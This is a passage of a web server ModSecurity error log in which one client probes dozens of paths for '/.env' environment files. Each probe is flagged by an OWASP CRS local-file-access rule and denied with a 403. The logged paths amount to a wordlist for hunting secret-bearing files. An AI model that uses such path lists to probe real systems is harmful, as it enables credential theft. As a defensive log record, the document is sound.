&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAwAAAAc&quot;]
[Thu Feb 26 01:03:22.844708 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAwAAAAc&quot;]
[Thu Feb 26 01:03:22.844846 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVAwAAAAc&quot;]
[Thu Feb 26 01:03:22.874702 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v13.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46gAAAAY&quot;]
[Thu Feb 26 01:03:22.874934 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46gAAAAY&quot;]
[Thu Feb 26 01:03:22.875094 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v13.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46gAAAAY&quot;]
[Thu Feb 26 01:03:22.887052 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/todo-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBAAAAAc&quot;]
[Thu Feb 26 01:03:22.887301 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBAAAAAc&quot;]
[Thu Feb 26 01:03:22.887461 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBAAAAAc&quot;]
[Thu Feb 26 01:03:22.914192 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v7.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46wAAAAY&quot;]
[Thu Feb 26 01:03:22.914486 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46wAAAAY&quot;]
[Thu Feb 26 01:03:22.914670 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v7.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g46wAAAAY&quot;]
[Thu Feb 26 01:03:22.916150 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testwork_json/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBQAAAAc&quot;]
[Thu Feb 26 01:03:22.916369 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBQAAAAc&quot;]
[Thu Feb 26 01:03:22.916510 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBQAAAAc&quot;]
[Thu Feb 26 01:03:22.937826 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBgAAAAc&quot;]
[Thu Feb 26 01:03:22.938061 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBgAAAAc&quot;]
[Thu Feb 26 01:03:22.938212 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBgAAAAc&quot;]
[Thu Feb 26 01:03:22.949730 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v8.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g47AAAAAY&quot;]
[Thu Feb 26 01:03:22.949971 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g47AAAAAY&quot;]
[Thu Feb 26 01:03:22.950140 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v8.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g47AAAAAY&quot;]
[Thu Feb 26 01:03:22.971838 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/default_settings/v9.0/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g47QAAAAY&quot;]
[Thu Feb 26 01:03:22.972118 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g47QAAAAY&quot;]
[Thu Feb 26 01:03:22.972278 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/default_settings/v9.0/.env&quot;] [unique_id &quot;aZ-NypqP6Uim1aZiP_g47QAAAAY&quot;]
[Thu Feb 26 01:03:22.990319 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBwAAAAc&quot;]
[Thu Feb 26 01:03:22.990573 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBwAAAAc&quot;]
[Thu Feb 26 01:03:22.990718 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aZ-Nys9iaYbHzIBMVEXVBwAAAAc&quot;]
[Thu Feb 26 01:03:23.007386 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/drupal-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g47gAAAAY&quot;]
[Thu Feb 26 01:03:23.007601 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g47gAAAAY&quot;]
[Thu Feb 26 01:03:23.007746 2026] [:error] [pid 2331047] [client 185.177.72.22:29202] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/drupal-test/.env&quot;] [unique_id &quot;aZ-Ny5qP6Uim1aZiP_g47gAAAAY&quot;]
[Thu Feb 26 01:03:23.012658 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCAAAAAc&quot;]
[Thu Feb 26 01:03:23.012879 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCAAAAAc&quot;]
[Thu Feb 26 01:03:23.013019 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aZ-Ny89iaYbHzIBMVEXVCAAAAAc&quot;]
[Thu Feb 26 01:03:23.037504 2026] [:error] [pid 2331624] [client 185.177.72.22:29196] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumbs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag 